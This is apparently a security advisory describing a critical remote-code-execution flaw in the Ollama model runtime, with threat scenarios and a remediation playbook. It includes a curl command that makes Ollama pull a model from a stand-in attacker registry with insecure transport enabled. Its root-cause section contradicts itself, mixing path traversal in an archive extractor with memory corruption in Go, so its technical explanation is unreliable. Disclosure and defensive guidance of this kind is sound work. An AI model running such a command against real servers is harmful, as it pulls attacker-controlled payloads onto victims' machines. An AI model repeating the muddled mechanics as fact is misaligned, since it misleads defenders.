Vulnerability Overview

A critical vulnerability identified as CVE-2026-63110 (CVSS v3.1 8.8) has been disclosed in Ollama, the popular open-source local runtime for deploying and serving quantized large language models (LLMs). The vulnerability allows remote attackers who reach the exposed Ollama HTTP daemon on TCP port 11434 to achieve arbitrary code execution on the host system during automated model pull operations.

Technical Mechanics & Root Cause

Ollama facilitates rapid local execution of open-source models by packaging quantized tensor weights into GGUF container formats. When a user or automated agent triggers a model download via POST /api/pull, Ollama contacts the registry to fetch the model manifest, layer blobs, and modelfile configurations.

In versions prior to 0.4.8, the decompression handler responsible for parsing serialized metadata headers in model manifest layers utilized an insecure Go archive extractor that failed to validate relative path traversal sequences and symbol resolution tables:

# Vulnerable API request triggering malicious layer pull
curl -X POST http://localhost:11434/api/pull -d '{
  "name": "registry.attacker-domain.internal/malicious-quant:latest",
  "insecure": true
}'

By supplying a crafted GGUF file containing corrupted metadata chunks, an attacker can trigger memory corruption within the Go runtime worker thread. In cloud enterprise deployments where Ollama runs with host network privileges or inside unsegmented Kubernetes pods, the attacker gains direct command shell access on the underlying container or developer workstation.

Threat Scenarios

  • Developer Workstation Compromise: Developers running Ollama locally can be targeted via Drive-By DNS Rebinding attacks in web browsers that issue pull commands to 127.0.0.1:11434.
  • Enterprise AI Gateway Ingress: Organizations exposing Ollama instances internally for local developer LLM routing face lateral network movement from compromised workstations.
  • Model Supply Chain Tampering: Malicious actors hosting weaponized GGUF quantization layers on public registries can infect automated CI/CD evaluation pipelines.

Remediation Playbook

Defenders must implement the following operational safeguards:

  1. Update Ollama: Upgrade all running instances to Ollama 0.4.8 or later immediately.
  2. Bind to Loopback: Ensure the environment variable OLLAMA_HOST=127.0.0.1:11434 is explicitly configured to prevent binding to 0.0.0.0 on public or enterprise interfaces.
  3. Origin Validation: Implement reverse proxy authentication (e.g., Traefik or Envoy with mutual TLS) if Ollama must be reached across internal subnets.